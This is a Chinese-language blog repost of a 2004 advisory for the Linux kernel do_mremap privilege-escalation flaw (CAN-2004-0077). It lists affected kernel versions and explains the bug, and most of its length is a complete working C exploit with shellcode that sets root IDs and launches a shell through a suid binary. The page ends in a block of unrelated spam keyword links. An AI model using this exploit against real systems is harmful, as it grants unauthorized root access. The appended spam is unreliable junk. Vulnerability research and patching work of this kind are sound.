• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            Linux Kernel do_mremap VMA本地權限提升漏洞

            日期:2004-03-05

            發布日期:2004-02-18
            更新日期:2004-03-03

            受影響系統:
            Linux kernel 2.6.2
            Linux kernel 2.6.1
            Linux kernel 2.6
            Linux kernel 2.4.9
            Linux kernel 2.4.8
            Linux kernel 2.4.7
            Linux kernel 2.4.6
            Linux kernel 2.4.5
            Linux kernel 2.4.4
            Linux kernel 2.4.3
            Linux kernel 2.4.24
            Linux kernel 2.4.23
            Linux kernel 2.4.22
            Linux kernel 2.4.21
            Linux kernel 2.4.20
            Linux kernel 2.4.2
            Linux kernel 2.4.19
            Linux kernel 2.4.17
            Linux kernel 2.4.16
            Linux kernel 2.4.15
            Linux kernel 2.4.14
            Linux kernel 2.4.13
            Linux kernel 2.4.12
            Linux kernel 2.4.11
            Linux kernel 2.4.10
            Linux kernel 2.4.1
            Linux kernel 2.4
            Linux kernel 2.2.9
            Linux kernel 2.2.8
            Linux kernel 2.2.7
            Linux kernel 2.2.6
            Linux kernel 2.2.5
            Linux kernel 2.2.4
            Linux kernel 2.2.3
            Linux kernel 2.2.25
            Linux kernel 2.2.24
            Linux kernel 2.2.23
            Linux kernel 2.2.22
            Linux kernel 2.2.21
            Linux kernel 2.2.20
            Linux kernel 2.2.2
            Linux kernel 2.2.19
            Linux kernel 2.2.18
            Linux kernel 2.2.17
            Linux kernel 2.2.16
            Linux kernel 2.2.15
            Linux kernel 2.2.14
            Linux kernel 2.2.13
            Linux kernel 2.2.12
            Linux kernel 2.2.11
            Linux kernel 2.2.10
            Linux kernel 2.2.1
            Linux kernel 2.2
            Linux kernel 2.4.18
                - Conectiva Linux 8.0
                - Conectiva Linux 7.0
                - Debian Linux 3.0
                - Mandrake Linux 8.2
                - Mandrake Linux 8.1
                - RedHat Linux 8.0
                - RedHat Linux 7.3
                - Slackware Linux 8.1
                - Slackware Linux 8.0
                - SuSE Linux 8.2
                - SuSE Linux 8.1
            不受影響系統:
            Linux kernel 2.6.3
            Linux kernel 2.4.25
            Linux kernel 2.2.26
            描述:
            --------------------------------------------------------------------------------
            CVE(CAN) ID: CAN-2004-0077

            Linux是一款開放源代碼操作系統。

            Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

            mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

            要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

            isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

            http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

            <*來源:Paul Starzetz (paul@starzetz.de)
              
              鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
            *>

            測試方法:
            --------------------------------------------------------------------------------

            警 告

            以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

            Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

            /*
            *
            *    mremap missing do_munmap return check kernel exploit
            *
            *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
            *    ./mremap_pte [suid] [[shell]]
            *
            *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
            *
            *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
            *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
            *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
            *
            */

            #include <stdio.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <syscall.h>
            #include <signal.h>
            #include <time.h>
            #include <sched.h>

            #include <sys/mman.h>
            #include <sys/wait.h>
            #include <sys/utsname.h>

            #include <asm/page.h>


            #define str(s) #s
            #define xstr(s) str(s)

            //    this is for standard kernels with 3/1 split
            #define STARTADDR    0x40000000
            #define PGD_SIZE    (PAGE_SIZE * 1024)
            #define VICTIM        (STARTADDR + PGD_SIZE)
            #define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

            #define DSIGNAL        SIGCHLD
            #define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

            #define MREMAP_MAYMOVE    ( (1UL) << 0 )
            #define MREMAP_FIXED    ( (1UL) << 1 )

            #define __NR_sys_mremap    __NR_mremap


            //    how many ld.so pages? this is the .text section length (like from cat    
            //    /proc/self/maps) in pages
            #define LINKERPAGES    0x14

            //    suid victim
            static char *suid="/bin/ping";

            //    shell to start
            static char *launch="/bin/bash";


            _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
                  ulong, e);
            unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
                         unsigned long new_len, unsigned long flags,
                         unsigned long new_addr);

            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
            static int i, pid=0;
            static char *env[2], *argv[2];
            static ulong ret;


            //    code to appear inside the suid image
            static void suid_code(void)
            {
            __asm__(
                "        call    callme                \n"

            //    setresuid(0, 0, 0), setresgid(0, 0, 0)
                "jumpme:    xorl    %ebx, %ebx            \n"
                "        xorl    %ecx, %ecx            \n"
                "        xorl    %edx, %edx            \n"
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_setresuid)", %al    \n"
                "        int    $0x80                \n"
                "        mov    $"xstr(__NR_setresgid)", %al    \n"
                "        int    $0x80                \n"

            //    execve(launch)
                "        popl    %ebx                \n"
                "        andl    $0xfffff000, %ebx        \n"
                "        xorl    %eax, %eax            \n"
                "        pushl    %eax                \n"
                "        movl    %esp, %edx            \n"
                "        pushl    %ebx                \n"
                "        movl    %esp, %ecx            \n"
                "        mov    $"xstr(__NR_execve)", %al    \n"
                "        int    $0x80                \n"

            //    exit
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_exit)", %al        \n"
                "        int    $0x80                \n"

                "callme:    jmp    jumpme                \n"
                );
            }


            static int suid_code_end(int v)
            {
            return v+1;
            }


            static inline void get_esp(void)
            {
            __asm__(
                "        movl    %%esp, %%eax            \n"
                "        andl    $0xfffff000, %%eax        \n"
                "        movl    %%eax, %0            \n"
                : : "m"(old_esp)
                );
            }


            static inline void cloneme(void)
            {
            __asm__(
                "        pusha                    \n"
                "        movl $("xstr(CLONEFL)"), %%ebx        \n"
                "        movl %%esp, %%ecx            \n"
                "        movl $"xstr(__NR_clone)", %%eax        \n"
                "        int  $0x80                \n"
                "        movl %%eax, %0                \n"
                "        popa                    \n"
                : : "m"(pid)
                );
            }


            static inline void my_execve(void)
            {
            __asm__(
                "        movl %1, %%ebx                \n"
                "        movl %2, %%ecx                \n"
                "        movl %3, %%edx                \n"
                "        movl $"xstr(__NR_execve)", %%eax    \n"
                "        int  $0x80                \n"
                : "=a"(ret)
                : "m"(suid), "m"(argv), "m"(env)
                );
            }


            static inline void pte_populate(unsigned addr)
            {
            unsigned r;
            char *ptr;

                memset((void*)addr, 0x90, PAGE_SIZE);
                r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
                ptr = (void*) (addr + PAGE_SIZE);
                ptr -= r+1;
                memcpy(ptr, suid_code, r);
                memcpy((void*)addr, launch, strlen(launch)+1);
            }


            //    hit VMA limit & populate PTEs
            static void exhaust(void)
            {
            //    mmap PTE donor
                t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(MAP_FAILED==t)
                    goto failed;

            //    prepare shell code pages
                for(i=2; i<LINKERPAGES+1; i++)
                    pte_populate(victim + PAGE_SIZE*i);
                i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
                if(i)
                    goto failed;

            //    lock unmap
                base = MMAP_BASE;
                cnt = 0;
                prot = PROT_READ;
                printf("\n"); fflush(stdout);
                for(;;) {
                    t = mmap((void*)base, PAGE_SIZE, prot,
                         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                    if(MAP_FAILED==t) {
                        if(ENOMEM==errno)
                            break;
                        else
                            goto failed;
                    }
                    if( !(cnt%512) || cnt>65520 )
                        printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                        base+PAGE_SIZE); fflush(stdout);
                    base += PAGE_SIZE;
                    prot ^= PROT_EXEC;
                    cnt++;
                }

            //    move PTEs & populate page table cache
                ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                         MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                if(-1==ret)
                    goto failed;

                munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
                     PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
                     0);
                if(MAP_FAILED==t)
                    goto failed;

                *t = *((unsigned *)old_esp);
                munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                printf("\n[+] Success\n\n"); fflush(stdout);
                return;

            failed:
                printf("\n[-] Failed\n"); fflush(stdout);
                _exit(0);
            }


            static inline void check_kver(void)
            {
            static struct utsname un;
            int a=0, b=0, c=0, v=0, e=0, n;

                uname(&un);
                n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                if(n!=3 || a!=2) {
                    printf("\n[-] invalid kernel version string\n");
                    _exit(0);
                }

                if(b==2) {
                    if(c<=25)
                        v=1;
                }
                else if(b==3) {
                    if(c<=99)
                        v=1;
                }
                else if(b==4) {
                    if(c>18 && c<=24)
                        v=1, e=1;
                    else if(c>24)
                        v=0, e=0;
                    else
                        v=1, e=0;
                }
                else if(b==5 && c<=75)
                    v=1, e=1;
                else if(b==6 && c<=2)
                    v=1, e=1;

                printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
                    un.release, v? "YES" : "NO", e? "YES" : "NO" );
                fflush(stdout);

                if(v && e)
                    return;
                _exit(0);
            }


            int main(int ac, char **av)
            {
            //    prepare
                check_kver();
                memset(env, 0, sizeof(env));
                memset(argv, 0, sizeof(argv));
                if(ac>1) suid=av[1];
                if(ac>2) launch=av[2];
                argv[0] = suid;
                get_esp();

            //    mmap & clone & execve
                exhaust();
                cloneme();
                if(!pid) {
                    my_execve();
                } else {
                    waitpid(pid, 0, 0);
                }

            return 0;
            }

            建議:
            --------------------------------------------------------------------------------
            廠商補?。?br>
            Linux
            -----
            目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

            http://www.kernel.org/


            下載 

            posted on 2007-06-01 03:10 葉子 閱讀(515) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

            国产精品免费看久久久香蕉| 久久婷婷五月综合国产尤物app| 日本三级久久网| 久久伊人五月天论坛| 亚洲精品高清国产一线久久| 伊人久久综合热线大杳蕉下载| 无码精品久久一区二区三区| 欧美丰满熟妇BBB久久久| 久久久久亚洲AV综合波多野结衣| 久久久久久夜精品精品免费啦| 久久人人超碰精品CAOPOREN| 久久er99热精品一区二区| 亚洲v国产v天堂a无码久久| 69SEX久久精品国产麻豆| 久久精品综合网| 久久久久亚洲精品无码网址| 久久精品免费一区二区三区| 亚洲愉拍99热成人精品热久久| 久久久久久极精品久久久| 美女写真久久影院| 91久久精品91久久性色| 亚洲精品无码久久久久sm| 亚洲国产一成久久精品国产成人综合 | 国产香蕉久久精品综合网| 久久国产综合精品五月天| 久久er99热精品一区二区| 亚洲狠狠婷婷综合久久蜜芽 | 久久精品国产亚洲AV无码娇色 | 精品国产一区二区三区久久| 久久精品一区二区三区AV| 亚洲人成无码www久久久| 久久久久女教师免费一区| 久久久久久毛片免费看| 亚洲国产日韩欧美久久| 久久大香萑太香蕉av| 亚洲精品午夜国产va久久| 久久国产劲爆AV内射—百度| 亚洲综合熟女久久久30p| 久久偷看各类wc女厕嘘嘘| 国产V综合V亚洲欧美久久| 久久精品国产亚洲一区二区|